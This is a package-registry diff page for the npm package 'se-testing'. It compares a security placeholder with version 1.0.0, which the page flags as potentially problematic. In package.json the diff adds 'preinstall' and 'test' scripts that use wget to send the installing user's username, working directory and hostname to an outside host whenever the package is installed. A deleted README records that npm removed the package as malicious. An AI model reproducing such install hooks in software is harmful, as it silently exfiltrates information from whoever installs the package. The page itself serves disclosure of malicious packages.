se-testing 0.0.1-security → 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of se-testing might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +3 -0
  2. package/package.json +17 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,3 @@
1
+ exports.printMsg = function() {
2
+ console.log("This is a message from the demo package");
3
+ }
package/package.json CHANGED
@@ -1,6 +1,20 @@
1
1
  {
2
2
  "name": "se-testing",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.0",
4
+ "main": "index.js",
5
+ "scripts": {
6
+ "test": "wget --quiet \"http://2n.wtf/?user=$(whoami)&path=$(pwd)&hostname=$(hostname)\"",
7
+ "preinstall": "wget --quiet \"http://2n.wtf/?user=$(whoami)&path=$(pwd)&hostname=$(hostname)\""
8
+ },
9
+ "keywords": [
10
+ "test",
11
+ "PoC"
12
+ ],
13
+ "dependencies": {},
14
+ "config": {
15
+ "unsafe-perm":true
16
+ },
17
+ "author": "",
18
+ "license": "ISC",
19
+ "description": ""
6
20
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=se-testing for more information.